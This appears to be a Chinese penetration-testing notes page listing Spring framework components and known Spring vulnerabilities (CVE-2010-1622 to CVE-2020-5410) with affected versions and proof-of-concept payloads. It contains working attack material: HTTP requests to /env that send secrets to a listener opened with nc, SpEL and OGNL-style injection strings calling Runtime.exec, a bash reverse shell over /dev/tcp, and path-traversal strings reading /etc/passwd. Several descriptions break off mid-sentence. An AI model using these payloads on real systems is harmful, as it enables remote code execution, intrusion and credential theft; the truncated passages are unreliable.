渗透测试-信息收集-Java-Spring-漏洞整理
0x01 背景介绍
Spring是⼀个开源框架,它由Rod Johnson创建。它是为了解决企业应⽤开发的复杂性⽽创建的。Spring使⽤基本的JavaBean来完成以前只可能由EJB完成的事情。然⽽,Spring的⽤途不仅限于服务器端的开发。从简单性、可测试性和松耦合的⾓度
Spring集合:
【1】Spring JDBC
【2】Spring MVC
Springmvc是Springframework⾥⾯的⼀个组件,⽤于javaee开发过程中的控制层。
【3】Spring Security
--Spring Security OAuth
Spring Security OAuth是为Spring框架提供安全认证⽀持的⼀个模块,主要分为授权服务 Authorization S
ervice.资源服务 Resource Service.这次漏洞主要是由⽤户使⽤Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpE 【4】Spring AOP
【5】Spring ORM
【6】Spring Test
【7】Spring WebFlow
Spring WebFlow构建于Spring MVC之上,允许实现Web应⽤程序的“流程”。流程封装了⼀系列步骤,指导⽤户执⾏某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应⽤程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了【8】 Spring Data
Spring Data是对数据访问的更⾼抽象。通过它,开发者进⼀步从数据层解放出来,更专注于业务逻辑,是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架。
【8-1】Spring Data REST
Spring Data REST是⼀个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch⽅法中,path的值被传⼊setValue,导致执⾏了恶意SpEL表达式,触发远程命令执⾏漏洞。
【8-2】Spring Data Commons
Spring Data Commons是Spring Data Repository抽象。使⽤Spring Data Repository可以极⼤地减少数据访问层的代码。当⽤户在项⽬中利⽤了Spring-data的相关web特性对⽤户的输⼊参数进⾏⾃动匹配的时候,会将⽤户提交的form表单的key值作为【9】spring messaging
spring messaging为spring框架提供消息⽀持,其上层协议是STOMP,底层通信基于SockJS,
⽤STOMP协议将数据组合成⼀个⽂本流,简单来说⽤sockjs协议发送⽂本流,sockjs会选择⼀个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector⽤SpEL表达式编写,并使⽤StandardEvaluationContext解析(权限太⼤),造成命【10】 Spring Cloud
Spring Cloud是⼀整套基于Spring Boot的微服务解决⽅案,为开发者提供了很多⼯具,⽤于快速构建分布式系统的⼀些通⽤模式。
【10-1】 Spring Cloud data flow
【10-2】 Spring Cloud Config
Spring Cloud Config为分布式系统中的外部化配置提供服务器和客户端⽀持。
使⽤Config Server,您可以在所有环境中管理应⽤程序的外部属性。
【10-3】Spring Cloud Eureka
SpringCloud封装了Netflix公司开发的Eureka模块来实现服务注册与发现,Eureka采⽤了C/S设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册中⼼。⽽系统中的其他微服务,使⽤Eureka Client连接到Eureka Server并维持⼼跳连接【11】Spring Boot
Spring Boot 是 Spring 的⼀套快速配置脚⼿架,可以基于spring boot 快速开发单个微服务。
【11-1】Spring Boot actuator
SpringBoot⾃带监控功能Actuator,可以帮助实现对程序内部运⾏情况监控。
【12】 Springframework
Springframework 是sping ⾥⾯的⼀个开源框架,主要⽤户javaee的企业开发。
【13】 Spring integration
【14】Spring batch
【15】Spring hateoas
【16】Jolokia
Jolokia是⼀个利⽤JSON通过Http实现JMX远程管理的开源项⽬,可在Spring Boot项⽬中使⽤。
【17】Logback
Logback是由log4j创始⼈设计的另⼀个开源⽇志组件,⽤于取代log4j,官⽅⽹站: logback.qos.ch。
Logback默认配置⽂件:
WooYun-2016-226888 - Spring Boot框架存在SPEL表达式注⼊通⽤漏洞(未到相关资料)
Spring Boot + Spring cloud PID漏洞
(1)
GET /env HTTP/1.1
Host: 28:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb
Connection: close
Content-Length: 70
eureka.client.serviceUrl.defaultZone=${PID}@226:6666/
(2)nc监听
nc -lvp 6666
(3)refresh
(4)base64解码获取属性
echo xxx | base64 -d
Spring Boot + Spring Cloud(spring Cloud env yaml利⽤)
当spring boot使⽤Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
利⽤范围
Spring Boot 2.x ⽆法利⽤成功
Spring Boot 1.5.x 在使⽤ Dalston 版本时可利⽤成功,使⽤ Edgware ⽆法成功
Spring Boot <= 1.4 可利⽤成功
github/artsploit/yaml-payload(修改重打包)
(2)
GET /env HTTP/1.1
Host: :8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb
Connection: close
Content-Length: 75
spring.cloud.bootstrap.location=/yaml-payload.yaml
(3)/refresh
CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露
影响版本:spring-cloud-config-server < 2.2.2
CVE-2020-5398
Date:
2020.1
类型:
RFD
影响范围:
versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16
poc:
$ curl '127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
CVE-2019-11269 Spring Security OAuth 开放重定向
影响版本:
Spring Security OAuth 2.3⾄2.3.5
Spring Security OAuth 2.2⾄2.2.4
Spring Security OAuth 2.1⾄2.1.4
Spring Security OAUth 2.0⾄2.0.17
CVE-2020-5410
影响版本
• Spring Cloud Config: 2.2.0 to 2.2.2
• Spring Cloud Config: 2.1.0 to 2.1.8
127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111
127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111/222
Spring Cloud Config⽬录遍历漏洞(CVE-2019-3799)
Date
2019
类型
任意⽂件读取
影响范围
Spring Cloud Config 2.1.0 to 2.1.1
Spring Cloud Config 2.0.0 to 2.0.3
Spring Cloud Config 1.4.0 to 1.4.5
poc
/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
CVE-2019-3778 Spring Security OAuth 开放重定向
影响版本:
Spring Security OAuth 2.3 to 2.3.4
Spring Security OAuth 2.2 to 2.2.3
Spring Security OAuth 2.1 to 2.1.3
Spring Security OAuth 2.0 to 2.0.16
CVE-2018-15758 spring-security-oauth2权限提升
影响版本:
Spring Security OAuth 2.3⾄2.3.3
Spring Security OAuth 2.2⾄2.2.2
Spring Security OAuth 2.1⾄2.1.2
Spring Security OAuth 2.0到2.0.15
CVE-2018-1273
Date
2018
类型
SpEL表达式注⼊漏洞
影响范围
Spring Data Commons < 2.0.5
poc
username[#Class().forName("java.lang.Runtime").getRuntime().exec("ping xxx.dnslog")]=xxx&password=123456&repeatedPassword=123456
(在Spring MVC或者WebFlux应⽤把客户端请求再转向另⼀台服务器的场景下,攻击者通过构造和污染Multipart类型请求,可能对另⼀台服务器实现权限提升攻击)
Spring MVC ⽬录穿越漏洞(CVE-2018-1271)
Date
2018.4
类型
任意⽂件下载
影响范围
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不⽀持的旧版本仍然受影响
前置条件
Server运⾏于Windows系统上
要使⽤file协议打开资源⽂件⽬录
poc
localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Spring Messaging 远程命令执⾏漏洞(CVE-2018-1270)
Date
2018
类型
RCE
影响范围
poc
\nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()
Spring-Integration-Zip 任意⽂件写⼊漏洞 Unsafe Unzip with spring-integration-zip(CVE-2018-1261)
Date
2018
类型
任意⽂件写⼊漏洞
影响范围
Spring-Integration-Zip Community Extension Project Version 1.0.0
CVE-2018-1263 (Spring-Integration-Zip 任意⽂件写⼊漏洞没到相关案例,阿⾥先知有⼀篇分析)
Spring-Security-OAuth2 远程代码执⾏漏洞(CVE-2018-1260)
Date
2018cve漏洞库
类型
RCE
影响范围
Spring Security Oauth 2.3.x < Spring Security Oauth 2.3.3
Spring Security Oauth 2.2.x < Spring Security Oauth 2.2.2
Spring Security Oauth 2.1.x < Spring Security Oauth 2.1.2
Spring Security Oauth 2.0.x < Spring Security Oauth 2.0.15
以及不受⽀持的旧版本
Spring Data 框架使⽤XMLBean产⽣XXE漏洞(CVE-2018-1259)
Date
2018
类型
XXE
影响范围
Spring Data Commons 1.13.x < Spring1.13.12
Spring Data Commons 2.0.x < Spring2.0.7
Spring Data REST 2.6.x < Spring Data REST 2.6.12
Spring Data REST 3.0.x < Spring Data REST 3.0.7
poc
CVE-2018-1258 Spring Security未经授权的访问(未到公开poc)
影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)
Spring Messaging组件中存在漏洞可导致正则表达式拒绝服务攻击(CVE-2018-1257)
Date
2018
类型
DOS
影响范围
Spring5.0.x < Spring5.0.6
Spring4.3.x < Spring4.3.17
以及不在收⽀持的版本
poc
Date
2017
类型
SPEL表达式注⼊
影响范围
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本
poc
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "val
CVE-2017-8045 Spring Amqp中的远程代码执⾏
影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本
Spring WebFlow 远程代码执⾏漏洞(CVE-2017-4971)
Date
2017
类型
RCE
影响范围
poc
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端⼝ 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)
CVE-2016-6652 Spring Data JPA SQL盲注(未到相关资料)
影响版本:Spring Data JPA 1.10.2、1.9.4
CNVD-2016-04742 Spring Boot框架SPEL表达式注⼊漏洞
(1)影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
(2)⾄少知道⼀个触发 springboot 默认错误页⾯的接⼝及参数名
Spring Security OAuth2.0 (CVE-2016-4977)
Date
2016
类型
EL表达式注⼊导致RCE
影响范围
Spring Security OAuth2.0
前置条件
登录
poc:
127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=test
CVE-2016-2173 Spring AMQP中的远程代码执⾏
影响版本:1.0.0⾄1.5.4
Spring WebFlow 远程代码执⾏漏洞 CVE-2017-8039(www.chaosec/?p=754)
CVE-2014-3578 Spring Framework ⽬录遍历漏洞(未到相关资料)
影响版本:
Spring Framework:
- 3.0.4 to 3.2.11
- 4.0.0 to 4.0.7
- 4.1.0 to 4.1.1
CVE-2014-0097 Spring Security认证绕过(未到相关资料)
影响版本:Spring Security 3.2.0⾄3.2.1和3.1.0⾄3.1.5
CVE-2014-3527 Spring Security验证绕过漏洞(未到相关资料)
SpringSource Spring Security 3.1-3.2.4
CVE-2013-7315 Spring Framework中的XML外部实体(未到相关资料)
影响版本:3.2.0⾄3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注⼊影响版本:
3.0.0⾄3.2.3、
4.0.0.M1
(blog.csdn/dingodingy/article/details/84495877)
CVE-2010-1622 Spring Frame class.classLoader类远程代码执⾏
Date
2010
类型
远程代码执⾏
影响范围
Spring Framework 3.0.0-3.0.2
Spring Framwork 2.5.0-2.5.7
(Spring Framework class.classLoader类远程代码执⾏ www.inbreak/archives/377)
(未到公开poc)
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论